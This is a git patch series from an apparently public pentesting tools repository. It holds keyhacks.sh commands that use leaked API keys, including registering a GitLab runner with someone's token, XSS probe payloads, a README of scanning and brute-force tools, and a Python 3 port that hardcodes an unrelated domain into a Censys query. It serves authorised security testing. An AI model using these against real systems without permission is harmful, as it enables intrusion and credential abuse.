From 923486e89b020756e06b7e32f013bc7726e7f5a7 Mon Sep 17 00:00:00 2001 From: Gwen Date: Fri, 22 Oct 2021 09:41:35 +0200 Subject: [PATCH 01/37] shebang! --- keyhacks.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/keyhacks.sh b/keyhacks.sh index 1160ba2..bdc6bf7 100755 --- a/keyhacks.sh +++ b/keyhacks.sh @@ -1,4 +1,4 @@ -#/bin/bash +#!/bin/bash # source: https://github.com/streaak/keyhacks From c98e52382033dba9b0c077427468af7467162768 Mon Sep 17 00:00:00 2001 From: Gwen Date: Fri, 18 Mar 2022 11:29:12 +0100 Subject: [PATCH 02/37] py3 --- cloudflare-origin-ip.py | 19 ++++++++++--------- 1 file changed, 10 insertions(+), 9 deletions(-) diff --git a/cloudflare-origin-ip.py b/cloudflare-origin-ip.py index bddfa78..5176d43 100755 --- a/cloudflare-origin-ip.py +++ b/cloudflare-origin-ip.py @@ -14,7 +14,8 @@ import time import textwrap from functools import partial -from urlparse import urlparse +# from urlparse import urlparse +from urllib import parse from termcolor import colored from netaddr import * from multiprocessing.dummy import Pool @@ -108,7 +109,7 @@ def banner(): t_sources = [ 'censys', 'crtsh' ] if 'censys' in t_sources: - CENSYS_API_URL = 'https://censys.io/api/v1' + CENSYS_API_URL = 'https://search.censys.io/api' try: CENSYS_UID = os.environ['CENSYS_UID'] CENSYS_SECRET = os.environ['CENSYS_SECRET'] @@ -121,7 +122,7 @@ def banner(): # https://stackoverflow.com/questions/5619685/conversion-from-ip-string-to-integer-and-backward-in-python def IP2Int(ip): - o = map(int, ip.split('.')) + o = list( map(int, ip.split('.')) ) res = (16777216 * o[0]) + (65536 * o[1]) + (256 * o[2]) + o[3] return res @@ -188,18 +189,17 @@ def grabIPfromCensys( domain ): headers = {"Content-Type":"application/json"} try: ex = 0 - r = requests.post( CENSYS_API_URL+'/search/ipv4', data=json.dumps(query), headers=headers, auth=(CENSYS_UID,CENSYS_SECRET) ) + r = requests.get( CENSYS_API_URL+'/v2/hosts/search?q=deciplus.pro', headers=headers, auth=(CENSYS_UID,CENSYS_SECRET) ) except Exception as e: ex = 1 print( colored("[-] error occurred: %s" % e, 'red') ) if ex == 0 and r.status_code == 200: j = r.json() - print( colored("[+] %d ips added" % len(j['results']), 'green') ) - if j['status'] == 'ok' and type(j['results']) is list and len(j['results'])>0: - for i in j['results']: + print( colored("[+] %d ips added" % len(j['result']), 'green') ) + if int(j['code']) == 200 and j['status'] == 'OK' and type(j['result']) is dict and len(j['result'])>0 and type(j['result']['hits']) is list and len(j['result']['hits'])>0: + for i in j['result']['hits']: t_ips.append( i['ip'] ) - def readIPfromFile( domain, ipsrc ): print( "[+] Reading datas from file: %s" % ipsrc ) n = 0 @@ -374,7 +374,8 @@ def responseCompare( r_reference, r ): if not url.startswith( 'http' ): url = 'https://'+url -t_url_parse = urlparse( url ) +t_url_parse = parse.urlparse( url ) +# t_url_parse = urlparse( url ) t_host_parse = tldextract.extract( t_url_parse.netloc ) domain = host = t_host_parse.domain + '.' + t_host_parse.suffix if len(t_host_parse.subdomain): From d301282352d71b074c2c135d367edcfee20b5258 Mon Sep 17 00:00:00 2001 From: Evans Tucker Date: Fri, 5 Aug 2022 13:47:20 -0700 Subject: [PATCH 03/37] Adding GitLab Runner Registration Token --- keyhacks.sh | 19 +++++++++++++++++++ 1 file changed, 19 insertions(+) diff --git a/keyhacks.sh b/keyhacks.sh index bdc6bf7..a4bdce2 100755 --- a/keyhacks.sh +++ b/keyhacks.sh @@ -27,6 +27,7 @@ function usage() { echo " - github_ssh_key" echo " - github_token" echo " - gitlab_private_token" + echo " - gitlab_runner_registration_token" echo " - google_cm" echo " - google_maps_key" echo " - heroku_api_key" @@ -258,6 +259,24 @@ case $1 in echo "Usage: $0 $1 " fi ;; + 'gitlab_runner_registration_token') + if [ $# -eq 2 ] ; then + cmd="docker run --rm gitlab/gitlab-runner register \ + --non-interactive \ + --executor \"docker\" \ + --docker-image alpine:latest \ + --url \"https://gitlab.com/\" \ + --registration-token \"${2}\" \ + --description \"keyhacks-test\" \ + --maintenance-note \"Testing token with keyhacks\" \ + --tag-list \"docker,aws\" \ + --run-untagged=\"true\" \ + --locked=\"false\" \ + --access-level=\"not_protected\"" + else + echo "Usage: $0 $1 " + fi + ;; 'google_cm') if [ $# -eq 2 ] ; then cmd="curl -s -X POST --header 'Authorization: key=$2' --header 'Content-Type:application/json' 'https://gcm-http.googleapis.com/gcm/send' -d '{\"registration_ids\":[\"1\"]}'" From f58d31814029e730a447a66d40bb8c5337a958d9 Mon Sep 17 00:00:00 2001 From: Evans Tucker Date: Fri, 5 Aug 2022 16:31:12 -0700 Subject: [PATCH 04/37] Adding OpsGenie API key --- keyhacks.sh | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/keyhacks.sh b/keyhacks.sh index bdc6bf7..3c9c289 100755 --- a/keyhacks.sh +++ b/keyhacks.sh @@ -35,6 +35,7 @@ function usage() { echo " - mailgun_api_key" echo " - mailjet" echo " - mapbox_access_token" + echo " - opsgenie_api_key" echo " - pagerduty_api_token" echo " - paypal_key_sb" echo " - paypal_key_live" @@ -320,6 +321,13 @@ case $1 in echo "Usage: $0 $1 " fi ;; + 'opsgenie_api_key') + if [ $# -eq 2 ] ; then + cmd="curl https://api.opsgenie.com/v2/alerts -H 'Authorization: GenieKey ${2}'" + else + echo "Usage: $0 $1 " + fi + ;; 'pagerduty_api_token') if [ $# -eq 2 ] ; then cmd="curl -H 'Accept: application/vnd.pagerduty+json;version=2' -H 'Authorization: Token token=$2' -X GET 'https://api.pagerduty.com/schedules'" From f1b217a69bcd9107b8484b090de070079cdbac55 Mon Sep 17 00:00:00 2001 From: Evans Tucker Date: Fri, 5 Aug 2022 17:32:20 -0700 Subject: [PATCH 05/37] Adding Infura --- keyhacks.sh | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/keyhacks.sh b/keyhacks.sh index bdc6bf7..cb39c6d 100755 --- a/keyhacks.sh +++ b/keyhacks.sh @@ -30,6 +30,7 @@ function usage() { echo " - google_cm" echo " - google_maps_key" echo " - heroku_api_key" + echo " - infura_api_key" echo " - instagram_access_token" echo " - mailchimp_api_key" echo " - mailgun_api_key" @@ -279,6 +280,13 @@ case $1 in echo "Usage: $0 $1 " fi ;; + 'infura_api_key') + if [ $# -eq 2 ] ; then + cmd="curl 'https://mainnet.infura.io/v3/${2}' -X POST -H \"Content-Type: application/json\" -d '{\"jsonrpc\":\"2.0\",\"method\":\"eth_accounts\",\"params\":[],\"id\":1}'" + else + echo "Usage: $0 $1 " + fi + ;; 'instagram_access_token') if [ $# -eq 2 ] ; then cmd="firefox 'https://api.instagram.com/v1/users/self/?access_token=$2'" From 823bfd827bf984e00a265194cdb1803a7f84f053 Mon Sep 17 00:00:00 2001 From: Gwen Date: Tue, 27 Sep 2022 15:39:48 +0200 Subject: [PATCH 06/37] xss --- xss.py | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/xss.py b/xss.py index 3173f25..0d707d3 100755 --- a/xss.py +++ b/xss.py @@ -209,7 +209,7 @@ def realDoTest( t_params ): if not os.path.isfile(_phantom): parser.error( 'phantomjs not found!' ) # _phantom_cmd = _phantom + ' ' + os.path.dirname(os.path.realpath(__file__)) + '/phantom-xss.js' -_phantom_cmd = _phantom + ' --load-images=false ' + os.path.dirname(os.path.realpath(__file__)) + '/phantom-xss.js' +_phantom_cmd = _phantom + ' --ignore-ssl-errors=true --ssl-protocol=any --load-images=false ' + os.path.dirname(os.path.realpath(__file__)) + '/phantom-xss.js' # _phantom_cmd = _phantom + ' ' + os.path.dirname(os.path.realpath(__file__)) + '/puppeteer-xss.js' # print( _phantom_cmd ) @@ -296,7 +296,6 @@ def realDoTest( t_params ): # source: https://twitter.com/brutelogic/status/1138805808328839170 if not n_payloads: t_payloads = [ - '\'"-->', '\'"-->.', '\'"-->', '\'"-->', @@ -305,8 +304,10 @@ def realDoTest( t_params ): "'\")];*/prompt(1);/*", '" onload=prompt(1)>', '\'"-->

pentest-tools

-I don't believe in licenses. -You can do whatever you want with this program. +

A collection of custom security tools for quick needs.

-However, there is a way to support :) -Sponsor gwen001 +

+ bash badge + python badge + php badge + MIT license badge + twitter badge +

+ -### arpa.sh -A script that will convert address in "arpa" format to classical format. +--- +## arpa.sh +Converts IP address in `arpa` format to classical format. +``` +182.218.193.78.in-addr.arpa domain name pointer fey75-1-78-193-218-182.fbxo.proxad.net. -> 78.193.218.182 +``` +## bbhost.sh +Performs `host` command on a given hosts list using `parallel` to make it fast. -### crtsh.php -A script that grab subdomains of a given domain from https://crt.sh +## codeshare.php +Performs a string search on [codeshare.io](https://codeshare.io/). +## cors.py +Test CORS issue on a given list of hosts. -### detect-vnc-rdp.sh -A script that test port of a given IP range with netcat, by default: 3389 and 5900. +## crlf.py +Test CRLF issue on a given list of hosts. +## crtsh.php +Grabs subdomains of a given domain from https://crt.sh -### dnsenum-brute.sh -A script that perform brute force through wordlist to find subdomains. +## detect-vnc-rdp.sh +Tests if ports `3389` and `5900` are open on a given IP range using `netcat`. +## dnsenum-brute.sh +Performs brute force through wordlist to find subdomains. -### dnsenum-bruten.sh -A script that perform brute force through numeric variation to find subdomains. +## dnsenum-bruten.sh +Performs brute force through numeric variation to find subdomains. +## dnsenum-reverse.sh +Apply reverse DNS method on a given IP range to find subdomains. -### dnsenum-reverse.sh -A script that apply reverse DNS technic on a given IP range to find subdomains. - - -### dnsenum-reverserange.sh +## dnsenum-reverserange.sh Same thing but IP ranges are read from an input file. +## dnsenum-zonetransfer.sh +Tests Zone Transfer of a given domain. -### dnsenum-zonetransfer.sh -A script that test Zone Transfer of a given domain. +## dnsreq-alltypes.sh +Performs all types of DNS requests for a given (sub)domain. +## extract-domains.py +Extracts domain of a given URL or a list of URLs. -### extract-endpoints.php -A script that try to extract endpoints from Javascript files, thanks to [ZSeano](https://twitter.com/zseano) +## extract_links.php +Extracts links from a given HTML file. +## filterurls.py +Classifies and displays URLs by vulnerability types. -### extract_links.php -A script that try to extract links from a given HTML file. +## flash-regexp.sh +Performs regexps listed in `flash-regexp.txt` for Flash apps testing purpose. +## gdorks.php +Generates Google dorks for a given domain (searches are not performed). -### finddl.sh -??? +## hashall.php +Uses about 40 algoritmes to hash a given string. +## ip-converter.php +Converts a given IP address to different format, see [Nicolas Grégoire presentation](https://www.agarri.fr/docs/AppSecEU15-Server_side_browsing_considered_harmful.pdf). -### gdorks.php -A script that simply creates Google dorks for a given domain (the search are not performed). -### gg-extract-links.php -??? -### ip-converter.php -A script that convert a given IP address to different format, thanks to [Nicolas Grégoire](http://www.agarri.fr/) -### ip-listing.php +## ip-listing.php A script that generates IP address from the start to the end. -### mass_axfr.sh +## mass_axfr.sh A script that test Zone Transfer on a given list of domains using [Fierce](https://github.com/mschwager/fierce). -### mass-smtp-user-enum-bruteforce.sh +## mass-smtp-user-enum-bruteforce.sh A script that perform SMTP user enumeration on a given list of IP address using [smtp-user-enum](https://github.com/pentestmonkey/smtp-user-enum) -### mass-smtp-user-enum-check.sh +## mass-smtp-user-enum-check.sh A script that simply test if SMTP user enumeration is possible on a given list of IP address using [smtp-user-enum](https://github.com/pentestmonkey/smtp-user-enum) -### nrpe.sh +## nrpe.sh A script that test the Nagios Remote Plugin Executor Arbitrary Command Execution using Metasploit. -### pass-permut.php +## pass-permut.php A script that creates words permutation with different separators and output the hashes. -### ping-sweep-nc.sh +## ping-sweep-nc.sh A script that try to determine what IP are alive in a given range of IP address using Netcat. -### ping-sweep-nmap.sh +## ping-sweep-nmap.sh A script that try to determine what IP are alive in a given range of IP address using Nmap. -### ping-sweep-ping.sh +## ping-sweep-ping.sh A script that try to determine what IP are alive in a given range of IP address using Ping. -### portscan-nc.sh +## portscan-nc.sh A script that try to determine the open ports of a given IP address using Netcat. -### screensite.sh +## screensite.sh A script that take a screenshot of a given url+port using Xvfb. -### srv_reco.sh +## srv_reco.sh A script that perform a very small test of a given IP address. -### ssh-timing-b4-pass.sh +## ssh-timing-b4-pass.sh ??? -### ssrf-generate-ip.php +## ssrf-generate-ip.php A script that generate random IP address inside private network range. -### subdomains_finder.sh +## subdomains_finder.sh A script that find subdomains using other well known programs ([TheHarvester](https://github.com/laramies/theHarvester), [DNSrecon](https://github.com/darkoperator/dnsrecon)...) -### subthreat.php +## subthreat.php A script that grab subdomains of a given domain from https://www.threatcrowd.org -### testhttp.php +## testhttp.php A script that test if an url (subdomain+port) is a web thing. -### testhttp2.php +## testhttp2.php Same same but different. -### test-ip-wordlist.sh +## test-ip-wordlist.sh ??? -### testnc.sh +## testnc.sh A script that fuzz a given IP address with Netcat. -### wayback-analyzer.php +## wayback-analyzer.php A script that try to nicely display [waybackurls.py](https://gist.github.com/mhmdiaa/adf6bff70142e5091792841d4b372050) output. -### webdav-bruteforce.sh +## webdav-bruteforce.sh A script that perform brute force on a given url that use WebDav using [Davtest](https://github.com/cldrn/davtest) diff --git a/apk-analyzer.py b/apk-analyzer.py deleted file mode 100755 index 0bae800..0000000 --- a/apk-analyzer.py +++ /dev/null @@ -1,601 +0,0 @@ -#!/usr/bin/python3 - -# I don't believe in license. -# You can do whatever you want with this program. - -import argparse -import os -import subprocess -import sys -import xml.etree.ElementTree as ET - -from colored import attr, bg, fg - -t_templates = [ - '_report.html', -] -t_templates_str = {} - -############################### FUNCTIONS ############################### -def loadTemplates(): - for tpl in t_templates: - t_templates_str[tpl] = 'aaa' - print(t_templates_str) - -# loadTemplates() -# exit() - - -def format_bytes( size ): - units = ['b', 'kb', 'mb', 'gb', 'tb'] - i = 0 - while size>=1024 and i<4: - size = size / 1024 - i = i + 1 - return str(round(size,2)) + units[i] - -def printH1( title ): - sys.stdout.write( '\n\n%s### %s ###%s\n\n' % (fg('light_cyan'),title,attr(0)) ) - -def printH2( title ): - sys.stdout.write( '\n%s# %s #%s\n\n' % (fg('light_blue'),title,attr(0)) ) - -def _print( txt, extra='', level='normal' ): - if not len(level): - level = 'normal' - t_colors = { - 'silent': 'grey_35', - 'hsilent': 'grey_35', - 'debug': 'light_magenta', - 'hdebug': 'magenta', - 'normal': 'white', - 'hnormal': 'light_gray', - 'info': 'light_green', - 'hinfo': 'green', - 'notice': 'gold_1', - 'hnotice': 'dark_orange_3a', - 'warning': 'light_red', - 'hwarning': 'red', - } - if len(txt): - sys.stdout.write( '%s%s' % (fg(t_colors[level]),txt) ) - if len(extra): - # sys.stdout.write( ' [%s:%s]' % (level.replace('h',''),extra) ) - sys.stdout.write( ' -- %s' % (extra) ) - sys.stdout.write( '%s\n' % attr(0) ) -############################### FUNCTIONS ############################### - - -############################### BASIC INFOS ############################### -def readInfos( grep_term ): - printH1( 'INFOS' ) - - _print( ('Package: %s' % root.attrib['package']) ) - - if 'platformBuildVersionCode' in root.attrib: - version = root.attrib['platformBuildVersionCode'] - elif 'compileSdkVersion' in root.attrib: - version = root.attrib['compileSdkVersion'] - else: - version = '?' - _print( ('Build: %s' % version) ) - - if not grep_term: - grep_term = root.attrib['package'].split('.')[1] - _print( ('Grep term: %s' % grep_term) ) - # sys.stdout.write( '\n\n' ) - - return grep_term -############################### BASIC INFOS ############################### - - -############################### PERMISSIONS ############################### -def listPermissionsCreated(): - t_term = [] - t_noterm = [] - t_all = root.findall('permission') - for obj in t_all: - if grep_term in obj.attrib['name']: - t_term.append( obj ) - else: - t_noterm.append( obj ) - - printH2( 'PERMISSIONS CREATED () (%d)' % len(t_all) ) - printPermissionsCreated( t_term ) - if len(t_term) and len(t_noterm): - sys.stdout.write( '---\n' ) - printPermissionsCreated( t_noterm, 'h' ) - -def printPermissionsCreated( tab, plevel0='' ): - t_warning = {'EXTERNAL_STORAGE':'external storage permission','INTERNET':'webview permission'} - for obj in tab: - extra = '' - plevel = 'normal' - for k,v in t_warning.items(): - if k in obj.attrib['name']: - extra = v - plevel = 'warning' - if not 'protectionLevel' in obj.attrib or obj.attrib['protectionLevel'] != 'signature': - extra = 'no signature' - plevel = 'warning' - _print( obj.attrib['name'], extra, plevel0+plevel ) - - -def listPermissionsUsed(): - t_term = [] - t_noterm = [] - t_all = root.findall('uses-permission') - for obj in t_all: - if grep_term in obj.attrib['name']: - t_term.append( obj ) - else: - t_noterm.append( obj ) - - printH2( 'PERMISSIONS USED () (%d)' % len(t_all) ) - printPermissionsUsed( t_term ) - if len(t_term) and len(t_noterm): - sys.stdout.write( '---\n' ) - printPermissionsUsed( t_noterm, 'h' ) - -def printPermissionsUsed( tab, plevel0='' ): - t_warning = {'EXTERNAL_STORAGE':'external storage permission','INTERNET':'webview permission'} - for obj in tab: - extra = '' - plevel = 'normal' - for k,v in t_warning.items(): - if k in obj.attrib['name']: - extra = v - plevel = 'warning' - _print( obj.attrib['name'], extra, plevel0+plevel ) - - -def listPermissionsRequired(): - t_all = root.findall('permission') - t_term = [] - t_noterm = [] - for elem in root.iter(): - if 'permission' in elem.attrib: - if grep_term in elem.attrib['permission']: - t_term.append( elem ) - else: - t_noterm.append( elem ) - - printH2( 'PERMISSIONS REQUIRED (permission="") (%d)' % (len(t_term)+len(t_noterm)) ) - printPermissionsRequired( t_all, t_term ) - if len(t_term) and len(t_noterm): - sys.stdout.write( '---\n' ) - printPermissionsRequired( t_all, t_noterm, 'h' ) - -def printPermissionsRequired( t_allperm, tab, plevel0='' ): - t_unwarn = ['android.permission','com.google.android','com.google.firebase'] - for obj in tab: - extra = 'permission used but not created' - plevel = 'warning' - for perm in t_allperm: - if obj.attrib['permission'] == perm.attrib['name']: - extra = '' - plevel = 'normal' - for w in t_unwarn: - if w in obj.attrib['permission']: - extra = '' - plevel = 'normal' - _print( obj.attrib['permission'], extra, plevel0+plevel ) - # sys.stdout.write( '%s%s %s%s\n' % (fg(color),obj.attrib['permission'],extra,attr(0)) ) - -def listPermissions(): - printH1( 'PERMISSIONS' ) - listPermissionsCreated() - listPermissionsUsed() - listPermissionsRequired() -############################### PERMISSIONS ############################### - - -############################### ACTIVITIES ############################### -def listActivities(): - app = root.find( 'application' ) - t_all = app.findall('activity') - t_all = t_all + app.findall('activity-alias') - t_term = [] - t_noterm = [] - for obj in t_all: - if grep_term in obj.attrib['name']: - t_term.append( obj ) - else: - t_noterm.append( obj ) - printH1( 'ACTIVITIES (%d)' % len(t_all) ) - printActivities( t_term ) - if len(t_term) and len(t_noterm): - sys.stdout.write( '---\n' ) - printActivities( t_noterm, 'h' ) - -def printActivities( tab, plevel0='' ): - for obj in tab: - if 'exported' in obj.attrib: - extra = 'exported param' - exported = obj.attrib['exported'].lower() - elif obj.findall('intent-filter'): - extra = 'intent-filter' - exported = 'true' - else: - exported = 'false' - if 'permission' in obj.attrib and grep_term in obj.attrib['permission']: - exported = 'false' - if exported == 'false': - extra = '' - plevel = 'normal' - else: - extra = "activity is exported ("+extra+") and no '" + grep_term + "' permission setted" - plevel = 'warning' - if 'enabled' in obj.attrib and obj.attrib['enabled'].lower() == 'false': - extra = extra + " but is disabled" - plevel = 'notice' - _print( '[+] '+obj.attrib['name'] ,extra, plevel0+plevel ) - for k,v in sorted(obj.attrib.items()): - k = k.replace('','') - if not k == 'name': - _print( ' %s: %s' % (k,v) ,'', plevel0+plevel ) - if display_commands: - # t_actions = ['android.intent.action.VIEW'] - # if obj.findall('intent-filter'): - # for intentfilter in obj.findall('intent-filter'): - # if intentfilter.findall('action'): - # for action in intentfilter.findall('action'): - # if not action.attrib['name'] in t_actions: - # t_actions.append( action.attrib['name'] ) - # for action in t_actions: - # _print( ' adb shell am start -S -a '+action+' -n '+root.attrib['package']+'/'+obj.attrib['name'] ,'', 'silent' ) - _print( ' adb shell am start -S -n '+root.attrib['package']+'/'+obj.attrib['name'], '', 'silent' ) -############################### ACTIVITIES ############################### - - -############################### SERVICES ############################### -def listServices(): - app = root.find( 'application' ) - t_all = app.findall('service') - t_term = [] - t_noterm = [] - for obj in t_all: - if grep_term in obj.attrib['name']: - t_term.append( obj ) - else: - t_noterm.append( obj ) - printH1( 'SERVICES (%d)' % len(t_all) ) - printServices( t_term ) - if len(t_term) and len(t_noterm): - sys.stdout.write( '---\n' ) - printServices( t_noterm, 'h' ) - - -def printServices( tab, plevel0='' ): - for obj in tab: - if 'exported' in obj.attrib: - extra = 'exported param' - exported = obj.attrib['exported'].lower() - elif obj.findall('intent-filter'): - extra = 'intent-filter' - exported = 'true' - else: - exported = 'false' - if 'permission' in obj.attrib and grep_term in obj.attrib['permission']: - exported = 'false' - if exported == 'false': - extra = '' - plevel = 'normal' - else: - extra = "service is exported ("+extra+") and no '" + grep_term + "' permission setted" - plevel = 'warning' - if 'enabled' in obj.attrib and obj.attrib['enabled'].lower() == 'false': - extra = extra + " but is disabled" - plevel = 'notice' - _print( '[+] '+obj.attrib['name'] ,extra, plevel0+plevel ) - for k,v in sorted(obj.attrib.items()): - k = k.replace('','') - if not k == 'name': - _print( ' %s: %s' % (k,v) ,'', plevel0+plevel ) - if display_commands: - _print( ' adb shell am startservice -n '+root.attrib['package']+'/'+obj.attrib['name'],'', 'silent' ) -############################### SERVICES ############################### - - -############################### RECEIVERS ############################### -def listReceivers(): - app = root.find( 'application' ) - t_all = app.findall('receiver') - t_term = [] - t_noterm = [] - for obj in t_all: - if grep_term in obj.attrib['name']: - t_term.append( obj ) - else: - t_noterm.append( obj ) - printH1( 'RECEIVERS (%d)' % len(t_all) ) - printReceivers( t_term ) - if len(t_term) and len(t_noterm): - sys.stdout.write( '---\n' ) - printReceivers( t_noterm, 'h' ) - - -def printReceivers( tab, plevel0='' ): - for obj in tab: - if 'exported' in obj.attrib: - extra = 'exported param' - exported = obj.attrib['exported'].lower() - elif obj.findall('intent-filter'): - extra = 'intent-filter' - exported = 'true' - else: - exported = 'false' - if 'permission' in obj.attrib and grep_term in obj.attrib['permission']: - exported = 'false' - if exported == 'false': - extra = '' - plevel = 'normal' - else: - extra = "receiver is exported ("+extra+") and no '" + grep_term + "' permission setted" - plevel = 'warning' - if 'enabled' in obj.attrib and obj.attrib['enabled'].lower() == 'false': - extra = extra + " but is disabled" - plevel = 'notice' - _print( '[+] '+obj.attrib['name'] ,extra, plevel0+plevel ) - for k,v in sorted(obj.attrib.items()): - k = k.replace('','') - if not k == 'name': - _print( ' %s: %s' % (k,v) ,'', plevel0+plevel ) - if display_commands: - # t_actions = ['android.intent.action.VIEW'] - # if obj.findall('intent-filter'): - # for intentfilter in obj.findall('intent-filter'): - # if intentfilter.findall('action'): - # for action in intentfilter.findall('action'): - # if not action.attrib['name'] in t_actions: - # t_actions.append( action.attrib['name'] ) - # for action in t_actions: - # _print( ' adb shell am start -S -a '+action+' -n '+root.attrib['package']+'/'+obj.attrib['name'] ,'', 'silent' ) - _print( ' adb shell am broadcast -n '+root.attrib['package']+'/'+obj.attrib['name'], '', 'silent' ) -############################### RECEIVERS ############################### - - -############################### PROVIDERS ############################### -def listProviders(): - app = root.find( 'application' ) - t_all = app.findall('provider') - t_term = [] - t_noterm = [] - t_providers_uri = {} - for obj in t_all: - if obj.attrib['authorities'].startswith('@'): - continue - if grep_term in obj.attrib['authorities']: - t_term.append( obj ) - else: - t_noterm.append( obj ) - t_providers_uri[ obj.attrib['authorities'] ] = getProviderURI( obj.attrib['authorities'] ) - printH1( 'PROVIDERS (%d)' % len(t_all) ) - printProviders( t_term, t_providers_uri ) - if len(t_term) and len(t_noterm): - sys.stdout.write( '---\n' ) - printProviders( t_noterm, t_providers_uri, 'h' ) - -def getProviderURI( authority ): - t_uri = [ 'content://'+authority ] - # t_uri = [ 'content://'+authority ] - cmd = 'egrep -hro "content://'+ authority + '[a-zA-Z0-9_-/\.]+" "' + src_directory + '/smali/" 2>/dev/null' - # print(cmd) - try: - output = subprocess.check_output( cmd, shell=True ).decode('utf-8') - # print(output) - except Exception as e: - # sys.stdout.write( "%s[-] error occurred: %s%s\n" % (fg('red'),e,attr(0)) ) - return t_uri - - for l in output.split("\n"): - if not len(l): - continue - tiktok = '' - l = l.strip().strip('/').replace( 'content://','' ) - t_split = l.split('/') - for token in t_split: - tiktok = tiktok + '/' + token - tiktok = tiktok.strip('/') - uri1 = 'content://' + tiktok - if not uri1 in t_uri: - t_uri.append( uri1 ) - # uri2 = 'content://' + tiktok + '/' - # if not uri2 in t_uri: - # t_uri.append( uri2 ) - - return t_uri - - -def printProviders( tab, t_providers_uri, plevel0='' ): - for obj in tab: - if 'exported' in obj.attrib: - extra = 'exported param' - exported = obj.attrib['exported'].lower() - elif obj.findall('intent-filter'): - extra = 'intent-filter' - exported = 'true' - else: - exported = 'false' - if ('permission' in obj.attrib and grep_term in obj.attrib['permission']) or ('readPermission' in obj.attrib and grep_term in obj.attrib['readPermission']): - exported = 'false' - if exported == 'false': - extra = '' - plevel = 'normal' - else: - extra = "provider is exported ("+extra+") and no '" + grep_term + "' permission setted" - plevel = 'warning' - if 'enabled' in obj.attrib and obj.attrib['enabled'].lower() == 'false': - extra = extra + " but is disabled" - plevel = 'notice' - _print( '[+] '+obj.attrib['authorities'] ,extra, plevel0+plevel ) - for k,v in sorted(obj.attrib.items()): - k = k.replace('','') - if not k == 'name': - _print( ' %s: %s' % (k,v) ,'', plevel0+plevel ) - if obj.attrib['authorities'] in t_providers_uri and len(t_providers_uri[obj.attrib['authorities']]): - if len(obj.attrib)>1: - _print( ' ---', '', plevel0+plevel ) - for uri in sorted(t_providers_uri[obj.attrib['authorities']]): - _print( ' %s' % uri, '', plevel0+plevel ) - if display_commands: - _print( ' adb shell content query --uri '+uri, '', 'silent' ) -############################### PROVIDERS ############################### - - -############################### INTERESTING FILES ############################### -t_files_warning = ['conf','secret','pass','key','auth','cer','crt'] -t_files_ignore = ['.shader','.dict','abp.txt','crashlytics-build.properties','tzdb.dat','.snsr','.alyp','.alyg','.frag','.vert','.gmt','.kml','.traineddata','.glsl','.glb','.css','.otf','.aac','.mid','.ogg','.m4a','.m4v','.ico','.gif','.jpg','.jpeg','.png','.bmp','.svg','.avi','.mpg','.mpeg','.mp3','.woff','.woff2','.ttf','.eot','.mp3','.mp4','.wav','.mpg','.mpeg','.avi','.mov','.wmv' ] - -def _listFiles( dir ): - t_all = [] - t_files = [] - - # r=root, d=directories, f=files - for r, d, f in os.walk( dir ): - for file in f: - filepath = os.path.join(r,file) - # filename = filepath.replace(src_directory+'/','') - filename = filepath.replace(' ','\ ') - filesstats = os.stat( filepath ) - filesize = format_bytes( filesstats.st_size ) - t_all.append( {'filename':filename,'filesize':filesize} ) - if not filesstats.st_size: - ignore = True - else: - ignore = False - for i in t_files_ignore: - if i in filename.lower(): - ignore = True - if not ignore: - t_files.append( {'filename':filename,'filesize':filesize} ) - - return t_all,t_files - - -def printFiles( t_files ): - for file in sorted(t_files,key=lambda k:k['filename']): - extra = '' - plevel = 'normal' - for w in t_files_warning: - if w in file['filename'].lower(): - extra = 'can be a sensitive file (\'' + w + '\' found in filemane)' - plevel = 'warning' - # sys.stdout.write( '%s%s (%s) %s%s\n' % (fg(color),file['filename'],file['filesize'],extra,attr(0)) ) - _print( '%s (%s)' % (file['filename'],file['filesize']), extra, plevel ) - - -def listFiles(): - printH1( 'FILES' ) - t_all, t_files = _listFiles( src_directory+'/assets/' ) - printH2( 'ASSETS (%d/%d)' % (len(t_files),len(t_all)) ) - printFiles( t_files ) - t_all, t_files = _listFiles( src_directory+'/res/raw/' ) - printH2( 'RES/RAW (%d/%d)' % (len(t_files),len(t_all)) ) - printFiles( t_files ) -############################### INTERESTING FILES ############################### - - -############################### DEEP LINKS ############################### -def listDeepLinks(): - app = root.find( 'application' ) - t_items = app.findall('activity') - t_items = t_items + app.findall('service') - t_deeplinks = [] - for activity in t_items: - t_filters = activity.findall('intent-filter') - if not t_filters: - pass - for filter in t_filters: - t_tmpdl = [] - has_action = False - has_category = False - for child in filter: - if child.tag == 'action' and child.attrib['name'] == 'android.intent.action.VIEW': - has_action = True - if child.tag == 'category' and child.attrib['name'] == 'android.intent.category.BROWSABLE': - has_category = True - if child.tag == 'data': # and 'scheme' in child.attrib: - t_tmpdl.append( child ) - # if has_action and has_category: - t_deeplinks.extend( t_tmpdl ) - - printH1( 'DEEP LINKS (%d)' % (len(t_deeplinks)) ) - - for deeplink in t_deeplinks: - sys.stdout.write( '\n' ) -############################### DEEP LINKS ############################### - - -parser = argparse.ArgumentParser() -parser.add_argument( "-d","--directory",help="source directory" ) -parser.add_argument( "-t","--term",help="term referencing the editor" ) -parser.add_argument( "-c","--command",help="display commands to run", action="store_true" ) -parser.add_argument( "-m","--mod",help="mod to run" ) -parser.parse_args() -args = parser.parse_args() - -if args.term: - grep_term = args.term -else: - grep_term = '' - -if args.mod: - mod = args.mod -else: - mod = 'paroslf' - -if args.command: - display_commands = True -else: - display_commands = False - -if not args.directory: - parser.error( 'source directory is missing' ) - -args.directory = args.directory.rstrip('/') -src_directory = args.directory -if not os.path.isdir(src_directory): - parser.error( 'source directory not found' ) - -src_manifest = src_directory + '/' + 'AndroidManifest.xml' -if not os.path.isfile(src_manifest): - parser.error( 'Manifest file not found' ) - -try: - etparse = ET.parse( src_manifest ) -except: - parser.error( 'Cannot read Manifest' ) - -root = etparse.getroot() -if not root: - parser.error( 'Cannot read Manifest' ) - -for elem in root.iter(): - # print( elem.attrib ) - elem.attrib = { k.replace('{http://schemas.android.com/apk/res/android}', ''): v for k, v in elem.attrib.items() } - # print( elem.attrib ) - -grep_term = readInfos( grep_term ) - -for m in mod: - if m == 'p': - listPermissions() - elif m == 'f': - listFiles() - # listAssets() - # listRaw() - elif m == 'a': - listActivities() - elif m == 'r': - listReceivers() - elif m == 'o': - listProviders() - elif m == 's': - listServices() - elif m == 'l': - listDeepLinks() diff --git a/apk-downloader.py b/apk-downloader.py deleted file mode 100755 index 